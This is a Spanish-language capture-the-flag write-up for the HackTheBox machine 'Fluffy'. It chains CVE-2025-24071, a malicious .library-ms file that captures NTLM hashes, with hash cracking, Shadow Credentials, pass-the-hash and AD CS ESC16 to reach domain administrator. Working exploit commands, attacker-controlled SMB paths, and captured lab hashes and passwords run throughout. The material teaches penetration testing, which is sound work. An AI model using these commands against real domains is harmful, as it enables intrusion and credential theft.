Habilidades: Domain Enumeration - Bloodhound
, SMB Enumeration, Microsoft Windows File Explorer Spoofing Vulnerability (CVE-2025-24071), Hash Cracking, Shadow Credentials - certipy
, PassTheHash, Abusing AD CS - ESC16
Technique [Privilege Escalation]
Introducción
Fluffy es una máquina Windows de dificultad Easy
en HackTheBox que requiere vulnerar un entorno de Active Directory. Explotaremos CVE-2025-24071 a través de un archivo .library-ms
, el cual mediante una posterior combinación de la técnica Shadow Credentials
, obtendremos acceso inicial. Posteriormente abusaremos del servicio AD CS (Active Directory Certificate Services) a través de la técnica ECS16 para conseguir acceso privilegiado al dominio.
HackTheBox nos proporciona unas credenciales en el siguiente mensaje
Machine Information
As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account:
j.fleischman
/J0elTHEM4n1990!
Reconocimiento
Enviaremos una traza ICMP para comprobar que la máquina víctima se encuentre activa
ping -c 1 10.10.11.69
PING 10.10.11.69 (10.10.11.69) 56(84) bytes of data.
64 bytes from 10.10.11.69: icmp_seq=1 ttl=127 time=136 ms
--- 10.10.11.69 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 136.281/136.281/136.281/0.000 ms
Nmap Scanning
Comenzaremos realizando un escaneo de puertos, el cual se encargará de detectar todos los servicios accesibles mediante el protocolo TCP
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.11.69 -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-19 15:09 EDT
Nmap scan report for 10.10.11.69
Host is up (0.35s latency).
Not shown: 65516 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49689/tcp open unknown
49690/tcp open unknown
49693/tcp open unknown
49707/tcp open unknown
49724/tcp open unknown
49761/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 41.19 seconds
--open
: Mostrar únicamente los puertos abiertos-p-
: Hacer un escaneo del total de puertos (65535)--min-rate 5000
: Enviar mínimo 5000 paquetes por segundo-n
: No aplicar resolución DNS, lo que acelera el escaneo-sS
: Modo de escaneo TCP SYN, no concluye la conexión, lo que hace el escaneo más ágil-Pn
: Omitir el descubrimiento de host (ARP)-oG
: Exportar en formatogrepable
-v
: Ver el progreso del escaneo
Realizaremos un segundo escaneo exhaustivo con el propósito de identificar la versión de los servicios que se ejecutan en los puertos descubiertos
nmap -p 53,88,139,389,445,464,593,636,3268,3269,5985,9389,49667,49689,49690,49693,49707,49724,49761 -sVC 10.10.11.69 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-19 15:11 EDT
Nmap scan report for 10.10.11.69
Host is up (0.28s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-20 02:12:02Z)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-20T02:13:39+00:00; +6h59m56s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-20T02:13:41+00:00; +6h59m56s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-20T02:13:39+00:00; +6h59m56s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
|_ssl-date: 2025-09-20T02:13:41+00:00; +6h59m56s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49689/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49690/tcp open msrpc Microsoft Windows RPC
49693/tcp open msrpc Microsoft Windows RPC
49707/tcp open msrpc Microsoft Windows RPC
49724/tcp open msrpc Microsoft Windows RPC
49761/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-09-20T02:12:59
|_ start_date: N/A
|_clock-skew: mean: 6h59m55s, deviation: 0s, median: 6h59m55s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.08 seconds
-p
: Especificar puertos-sV
: Identificar la versión del servicio-sC
: Uso de scripts de reconocimiento-oN
: Exportar la salida en formato normal
Vemos una gran cantidad de servicios abiertos (dns
, kerberos
, ldap
, etc.), esto es un gran indicador de que estamos frente a un controlador de dominio de Active Directory.
Vemos el nombre de la máquina y del dominio, agregaremos esta información a nuestro archivo /etc/hosts
para poder aplicar una resolución DNS correctamente
echo '10.10.11.69 fluffy.htb DC01.fluffy.htb' | sudo tee -a /etc/hosts
10.10.11.69 fluffy.htb DC01.fluffy.htb
Domain Enumeration - Bloodhound
Con credenciales válidas, podremos recolectar información de toda la estructura del dominio flufffy.htb
(si contamos con los permisos necesarios), y cargar esta información en Bloodhound
para analizar relaciones entre usuarios, grupos, etc.
ntpdate DC01.fluffy.htb && bloodhound-python -d fluffy.htb -ns 10.10.11.69 --zip -c All -u j.fleischman -p 'J0elTHEM4n1990!'
2025-09-19 22:20:12.851500 (-0400) -0.103904 +/- 0.126649 DC01.fluffy.htb 10.10.11.69 s1 no-leap
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: fluffy.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 10 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.fluffy.htb
INFO: Done in 00M 42S
INFO: Compressing output into 20250919222015_bloodhound.zip
El comando
ntpdate
sincroniza nuestro reloj con el del controlador de dominio (necesario cuando se emplea autenticaciónkerberos
)
Subiremos el archivo .zip
a Bloodhound
para cargar toda la información, posteriormente podemos comenzar a buscar usuarios y las relaciones que éstos tienen con otros objetos del dominio
Users
Opcionalmente, con herramientas como rpcclient
podemos consultar información básica del dominio, como enumerar usuarios, grupos, etc.
El siguiente comando nos devuelve un listado de los usuarios válidos a nivel de dominio, podemos guardar esta lista en un archivo redirigiendo la salida con >
(en este caso, a users.txt
)
rpcclient DC01.fluffy.htb -U 'j.fleischman%J0elTHEM4n1990!' -c enumdomusers | cut -d ' ' -f1-1 | grep -oP '\[.*?\]' | tr -d '[]' > users.txt
Administrator
Guest
krbtgt
ca_svc
ldap_svc
p.agila
winrm_svc
j.coffey
j.fleischman
SMB Enumeration
Como es común en enumeración a entornos Windows, debemos validar si podemos enumerar recursos de red a nivel de SMB. Como disponemos de credenciales válidas, omitiremos el iniciar una sesión anónima (sin credenciales)
smbmap -H DC01.fluffy.htb -u 'j.fleischman' -p 'J0elTHEM4n1990!'
[+] IP: DC01.fluffy.htb:445 Name: unknown
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
IT READ, WRITE
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
Fuera de los recursos habituales como C$, SYSVOL, NETLOGON
, vemos un recurso llamado IT
, al que podemos acceder con permisos de lectura y escritura.
Podemos conectarnos interactivamente con la herramienta smbclient
smbclient //DC01.fluffy.htb/IT -U 'j.fleischman%J0elTHEM4n1990!'
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sat Sep 20 15:28:24 2025
.. D 0 Sat Sep 20 15:28:24 2025
Everything-1.4.1.1026.x64 D 0 Fri Apr 18 11:08:44 2025
Everything-1.4.1.1026.x64.zip A 300 Sat Sep 20 11:41:17 2025
KeePass-2.58 D 0 Fri Apr 18 11:08:38 2025
KeePass-2.58.zip A 300 Sat Sep 20 11:41:20 2025
Upgrade_Notice.pdf A 169963 Sat May 17 10:31:07 2025
VTRDIBHUCM D 0 Sat Sep 20 15:28:24 2025
5842943 blocks of size 4096. 2219586 blocks available
Vemos algunos archivos .zip
, un archivo PDF
y KeePass
en su versión 2.58
. Descargaremos el archivo Upgrade_Notice.pdf
smb: \> get Upgrade_Notice.pdf
getting file \Upgrade_Notice.pdf of size 169963 as Upgrade_Notice.pdf (34.9 KiloBytes/sec) (average 34.9 KiloBytes/sec)
El PDF que descargamos nos dice que varias vulnerabilidades de alto impacto fueron descubiertas y hace un llamado a los administradores a aplicar los parches de seguridad correspondientes
Más abajo veremos una tabla donde se muestran las vulnerabilidades recientemente descubiertas
Intrusión / Explotación
Microsoft Windows File Explorer Spoofing Vulnerability (CVE-2025-24071)
Esta vulnerabilidad afecta a múltiples versiones de Windows 10, 11, Server 2012, 2016, 2019 y 2022. Permite a un atacante capturar hashes NetNTLMv2
cuando la víctima extrae archivos .library-ms
especialmente diseñados.
Un archivo
.library-ms
en Windows es un archivo de metadatos en formato XML que describe una biblioteca de documentos.
Understanding Vulnerability
La vulnerabilidad reside en la forma en la que Windows File Explorer maneja los archivos .library-ms
dentro de archivos comprimidos.
Cuando un archivo .library-ms
que contiene una ruta SMB es comprimido dentro de un archivo .zip
/.rar
y posteriormente se extrae, el Explorador de Windows analiza automáticamente el contenido del archivo comprimido a través de un mecanismo integrado de indexación. A continuación se muestra cómo luce un archivo .library-ms
malicioso
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\10.10.X.X\evil</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
La extracción y procesamiento del archivo comprimido (que contiene el archivo .library-ms
anterior) resulta en tráfico hacia el recurso SMB que especificamos en el atributo <url>
Exploiting
Existen diversas pruebas de concepto disponibles en Github
que nos permiten crear tanto el archivo .library-ms
como un archivo comprimido .zip
o .rar
, el cual es necesario ya que se necesita que la víctima extraiga el contenido del comprimido para iniciar tráfico SMB hacia nosotros.
A continuación iniciaremos un servidor smb
, el cual se encargará de gestionar la autenticación NTLM
La autenticación NTLM (
NT LAN Manager
) es un protocolo de Microsoft que utiliza un mecanismo de desafío/respuesta para autenticar usuarios en redes Windows, generando un hash a partir de la contraseña del usuario y un número aleatorio (desafío) para verificar la identidad en el servidor
impacket-smbserver shared $(pwd) -smb2support
Impacket v0.13.0.dev0+20250109.91705.ac02e0ee - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
05/24/2025 11:12:36 PM: INFO: Config file parsed
Ejecutaremos el exploit, el cual creará dos archivos, un comprimido (exploit.zip
) y el archivo .library-ms
malicioso
git clone https://github.com/ThemeHackers/CVE-2025-24071
cd CVE-2025-24071
pip install -r requirements.txt
# Consturimos los archivos
python3 exploit.py -i 10.10.16.89 -f poc
Recordemos que tenemos permisos de escritura sobre la rutaIT
, además de que existen archivos .zip
que claramente fueron extraídos, por lo que es probable que cuando subamos el comprimido aquí, alguien extraiga nuestro archivo exploit.zip
smb: \> dir
. D 0 Sat Sep 20 19:39:57 2025
.. D 0 Sat Sep 20 19:39:57 2025
Everything-1.4.1.1026.x64 D 0 Fri Apr 18 11:08:44 2025
Everything-1.4.1.1026.x64.zip A 1827464 Fri Apr 18 11:04:05 2025
KeePass-2.58 D 0 Fri Apr 18 11:08:38 2025
KeePass-2.58.zip A 3225346 Fri Apr 18 11:03:17 2025
Upgrade_Notice.pdf A 169963 Sat May 17 10:31:07 2025
5842943 blocks of size 4096. 1956804 blocks available
Nos conectaremos a la ruta IT
para subir el comprimido con el comando put
smbclient //DC01.fluffy.htb/IT -U 'j.fleischman%J0elTHEM4n1990!'
smb: \> put exploit.zip
putting file exploit.zip as \exploit.zip (0.3 kb/s) (average 0.3 kb/s)
Cuando la víctima extraiga el archivo exploit.zip
, se iniciará un proceso de autenticación NTLM hacia nuestro servidor SMB, capturando el hash NetNTLMv2
que corresponde al usuario p.agila
05/24/2025 11:13:32 PM: INFO: Incoming connection (10.10.11.69,56980)
05/24/2025 11:13:32 PM: INFO: AUTHENTICATE_MESSAGE (FLUFFY\p.agila,DC01)
05/24/2025 11:13:32 PM: INFO: User DC01\p.agila authenticated successfully
05/24/2025 11:13:32 PM: INFO: p.agila::FLUFFY:aaaaaaaaaaaaaaaa:346ed0d6fb9525fc84beea7f2c9f97a6:010100000000000080f387364d2adc01ec7dc142c74320eb00000000010010004d0046007200520055006c004c006300030010004d0046007200520055006c004c006300020010004b007000420047006d00750069007600040010004b007000420047006d007500690076000700080080f387364d2adc01060004000200000008003000300000000000000001000000002000000783b7caacb5a2c6da5a06bc37b4432a0528d9d517548c083683bf4321cf45bd0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e00380039000000000000000000
Hash Cracking
Cuando monitoreamos tráfico NTLM en una red Windows y capturamos un hash NetNTLMv2
, no podemos utilizar este hash directamente a modo de autenticación, pero podemos intentar descifrarlo mediante fuerza bruta, y así obtendríamos la contraseña en texto claro.
Guardaremos el hash capturado en un archivo para intentar crackearlo con herramientas como john
o hashcat
john --wordlist=/usr/share/wordlists/rockyou.txt ntlmv2_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
prometheusx-303 (p.agila)
1g 0:00:00:02 DONE (2025-05-24 23:14) 0.4716g/s 2131Kp/s 2131Kc/s 2131KC/s proquis..programmercomputer
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Obtuvimos la contarseña para el usuario p.agila
, podemos validar sus credenciales rápidamente con herramientas como netexec
nxc smb 10.10.11.69 -u p.agila -p 'prometheusx-303'
SMB 10.10.11.69 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.69 445 DC01 [+] fluffy.htb\p.agila:prometheusx-303
Lateral Movement Path
Analizando la información recolectada en Bloodhound
, enumeraremos buscando vías potenciales de movimiento lateral dentro del dominio.
El usuario p.agila
posee derechos GenericAll
sobre el grupo Service Accounts
El grupo Service Accounts
posee tres miembros, los cuales son cuentas de servicio asociadas al dominio, y el grupo posee derechos GenericWrite
sobre ellas. Esto le permite a un miembro de este grupo modificar cualquier atributo no protegido
Para conectarnos de forma interactiva a un equipo Windows, existe el protocolo WinRM, mediante el cual podemos ejecutar comandos remotamente a través de una consola de powershell
.
WinRM (Windows Remote Management) es una implementación de Microsoft del protocolo WS-Management (un estándar basado en SOAP) que permite la administración y automatización remota de sistemas Windows.
Lógicamente, la cuenta winrm_svc
hace alusión a este protocolo, además de que forma parte del grupo Remote Management Users
El grupo “Remote Management Users” es un grupo de seguridad local en Windows que otorga a sus miembros la capacidad de administrar remotamente un equipo o servidor mediante el servicio WinRM (Administración Remota de Windows).
En cuanto a las otras cuentas, ca_svc
parece ser una cuenta para gestionar certificados a través del servicio AD CS, debido a que forma parte del grupo Cert Publishers
.
AD CS, o Servicios de certificados de Active Directory, es una función de servidor de Windows que permite a las organizaciones crear una infraestructura de clave pública (PKI) para emitir, gestionar y revocar certificados digitales.
Shadow Credentials
Esta técnica contempla modificar el atributo
msDS-KeyCredentialLink
, añadiendo credenciales alternativas en forma de certificados, permitiendo autenticarnos como el usuario víctima sin conocer su contraseña.
El derecho GenericAll
otorga control total sobre el usuario objetivo, pudiendo modificar cualquier atributo de esta cuenta.
En este caso necesitaremos formar parte del grupo Service Accounts
para poder realizar el ataque, debido a que solo los miembros del grupo Service Accounts
tienen control sobre atributos de otras cuentas de ese grupo
net rpc group addmem 'SERVICE ACCOUNTS' 'p.agila' -U 'fluffy.htb/p.agila%prometheusx-303' -S DC01.fluffy.htb
A modo de verificar que hemos añadido al usuario p.agila
correctamente al grupo Service Accounts
, verificaremos los miembros del grupo
net rpc group members 'SERVICE ACCOUNTS' -U 'fluffy.htb/p.agila%prometheusx-303' -S DC01.fluffy.htb
FLUFFY\ca_svc
FLUFFY\ldap_svc
FLUFFY\p.agila
FLUFFY\winrm_svc
Podemos utilizar la herramienta certipy
que contiene un modo que automatiza el proceso de añadir msDS-KeyCredentialLink
al usuario víctima y la autenticación, de forma que obtenemos directamente credenciales en caché y el hash NT de la cuenta winrm_svc
certipy shadow auto -u p.agila@fluffy.htb -p 'prometheusx-303' -account winrm_svc -dc-ip 10.10.11.69
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '0dd3e542-ed13-3915-9d75-e6c61baa0070'
[*] Adding Key Credential with device ID '0dd3e542-ed13-3915-9d75-e6c61baa0070' to the Key Credentials for 'winrm_svc'
[*] Successfully added Key Credential with device ID '0dd3e542-ed13-3915-9d75-e6c61baa0070' to the Key Credentials for 'winrm_svc'
[*] Authenticating as 'winrm_svc' with the certificate
[*] Using principal: winrm_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'winrm_svc.ccache'
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Restoring the old Key Credentials for 'winrm_svc'
[*] Successfully restored the old Key Credentials for 'winrm_svc'
[*] NT hash for 'winrm_svc': 33bd09dcd697600edf6b3a7af4875767
Además, podremos obtener el hash NT de la cuenta ca_svc
y `ldap_svc
certipy shadow auto -u p.agila@fluffy.htb -p 'prometheusx-303' -account ca_svc -dc-ip 10.10.11.69
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'b675910c-36cd-41c7-f2b7-16072b190199'
[*] Adding Key Credential with device ID 'b675910c-36cd-41c7-f2b7-16072b190199' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID 'b675910c-36cd-41c7-f2b7-16072b190199' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8
Shell as winrm_svc
Con el hash NT de la cuenta winrm_svc
, podemos hacer PassTheHash para conectarnos remotamente al Controlador de Dominio utilizando el protocolo WinRM
evil-winrm -i 10.10.11.69 -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> whoami
fluffy\winrm_svc
En este punto ya podemos ver la flag del usuario sin privilegios
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> type ..\Desktop\user.txt
edb...
Escalada de Privilegios
Abusing AD CS - ESC16
Technique
ESC16 es una técnica de post-explotación que abusa del servicio AD CS (Active Directory Certificate Services
), permitiendo eludir la validación de certificados y escalar privilegios a través de plantillas de certificados con configuraciones inseguras.
Understanding Vulnerability
ESC16 aprovecha una configuración en la que la CA
globalmente deshabilita la inclusión de szOID_NTDS_CA_SECURITY_EXT
(su valor OID es 1.3.6.1.4.1.311.25.2
) en todos los certificados que emite.
CA son las siglas de Autoridad de Certificación (Certification Authority), una entidad de confianza que emite y administra certificados digitales para usuarios, equipos y servicios dentro de un dominio de Active Directory, validando sus identidades y permitiendo comunicaciones seguras.
Esta extensión SID es vital para un “mapeo estricto de certificados” (Strong Certificate Mapping
) en AD CS, debido a que permite al Controlador de Dominio asignar un certificado al SID de la cuenta de un usuario para su autenticación.
El problema se debe a que cuando se añade el OID de esta extensión en el valor DisableExtensionList
de la siguiente clave de registro
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-Name>\PolicyModules\<PolicyModuleName>
Con esta configuración, todos los certificados emitidos por esta CA carecerán de esta extensión de seguridad SID.
Además, la viabilidad de explotar ESC16, depende de la configuración del registro StrongCertificateBindingEnforcement
en el DC.
La configuración del registro
StrongCertificateBindingEnforcement
rige el grado de rigor con el que un controlador de dominio valida la vinculación entre un certificado y su objeto de Active Directory asociado durante la autenticación.
Este mecanismo es crucial para mitigar los ataques de suplantación de identidad basados en certificados, su valor se encuentra bajo la siguiente clave de registro
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
StrongCertificateBindingEnforcement
0
(Disabled
): No se aplica el mapeo estricto.1
(Compatibility Mode
): Se prefiere un mapeo estricto, pero se permite volver a un mapeo heredado.2
(Full Enforcement
): Sólo se aceptan certificados con mapeo estricto. Se rechazan las asignaciones heredadas.
De este modo (si StrongCertificateBindingEnforcement
es 0
o 1
), podemos manipular el UPN de una cuenta (por ejemplo, con GenericWrite
) y esa cuenta puede inscribirse a cualquier certificado de autenticación de cliente, podemos:
- Cambiar el UPN de una cuenta que controlamos para que coincida con el UPN de la cuenta privilegiada objetivo.
- Solicitar un certificado (que carecerá de la extensión de seguridad SID).
- Revertir el cambio de UPN para evitar errores en la autenticación.
- Utilizar el certificado para impersonar al usuario objetivo, empleando autenticación basada en certificados.
Detection
Comenzaremos por enumerar plantillas de certificados en busca de vulnerabilidades asociadas al servicio AD CS
Para encontrar ESC16, debes tener instalada la versión
>= 5.0.2
decertipy
certipy find -u ca_svc -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -vulnerable -stdout
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 14 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'fluffy-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'fluffy-DC01-CA'
[*] Checking web enrollment for CA 'fluffy-DC01-CA' @ 'DC01.fluffy.htb'
[*] Enumeration output:
Certificate Authorities
0
CA Name : fluffy-DC01-CA
DNS Name : DC01.fluffy.htb
Certificate Subject : CN=fluffy-DC01-CA, DC=fluffy, DC=htb
Certificate Serial Number : 3670C4A715B864BB497F7CD72119B6F5
Certificate Validity Start : 2025-04-17 16:00:16+00:00
Certificate Validity End : 3024-04-17 16:11:16+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Disabled Extensions : 1.3.6.1.4.1.311.25.2
Permissions
Owner : FLUFFY.HTB\Administrators
Access Rights
ManageCa : FLUFFY.HTB\Domain Admins
FLUFFY.HTB\Enterprise Admins
FLUFFY.HTB\Administrators
ManageCertificates : FLUFFY.HTB\Domain Admins
FLUFFY.HTB\Enterprise Admins
FLUFFY.HTB\Administrators
Enroll : FLUFFY.HTB\Cert Publishers
[!] Vulnerabilities
ESC16 : Security Extension is disabled.
[*] Remarks
ESC16 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
Certificate Templates : [!] Could not find any certificate templates
Alternativamente, desde la shell con la cuenta winrm_svc
, podemos consultar el valor de DisableExtensionList
, donde deberíamos ver el OID de la extensión szOID_NTDS_CA_SECURITY_EXT
añadido
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\fluffy-DC01-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy /v DisableExtensionList
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\fluffy-DC01-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy
DisableExtensionList REG_MULTI_SZ 1.3.6.1.4.1.311.25.2
Además comprobaremos el valor de StrongCertificateBindingEnforcement
, para verificar que se encuentre en 0
o 1
. Sabremos que podemos aprovechar un mapeo débil para suplantar a un usuario privilegiado
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc /v StrongCertificateBindingEnforcement
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
StrongCertificateBindingEnforcement REG_DWORD 0x0
Exploiting
Comenzaremos el ataque cambiando el UPN (User Principal Name
) de la cuenta ca_svc
, para que coincida con el UPN del usuario Administrator
certipy account update -u ca_svc -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -user ca_svc -upn administrator -dc-ip 10.10.11.69
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
userPrincipalName : administrator
[*] Successfully updated 'ca_svc'
Procederemos a solicitar un certificado que permita autenticación, como la plantilla User
certipy req -u ca_svc -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -ca fluffy-DC01-CA -template User -dc-ip 10.10.11.69
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 42
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
Revertiremos el cambio de UPN en la cuenta ca_svc
para evitar errores a la hora de realizar la autenticación (en certipy
podríamos ver el siguiente: [-] Name mismatch between certificate and user 'administrator'
)
certipy account update -u ca_svc -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -user ca_svc -upn ca_svc@fluffy.htb -dc-ip 10.10.11.69
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
userPrincipalName : ca_svc@fluffy.htb
[*] Successfully updated 'ca_svc'
Usaremos el certificado para autenticarnos como el usuario Administrator
y así poder obtener su hash NT y credenciales en caché
Cuando realices la autenticación, recuerda sincronizar tu reloj con el DC, puedes ejecutar el comando
ntpdate DC01.fluffy.htb
ntpdate DC01.fluffy.htb
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.69 -username administrator -domain fluffy.htb
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator'
[*] Using principal: 'administrator@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e
Root Time
Con el hash NT del usuario Administrator
, ya podremos conectarnos a la máquina haciendo PassTheHash
evil-winrm-py -i 10.10.11.69 -u Administrator -H 8da83a3fa618b6e3a00e93f676c92a6e
▘▜ ▘
█▌▌▌▌▐ ▄▖▌▌▌▌▛▌▛▘▛▛▌▄▖▛▌▌▌
▙▖▚▘▌▐▖ ▚▚▘▌▌▌▌ ▌▌▌ ▙▌▙▌
▌ ▄▌ v1.1.2
[*] Connecting to 10.10.11.69:5985 as Administrator
evil-winrm-py PS C:\Users\Administrator\Documents> whoami
fluffy\administrator
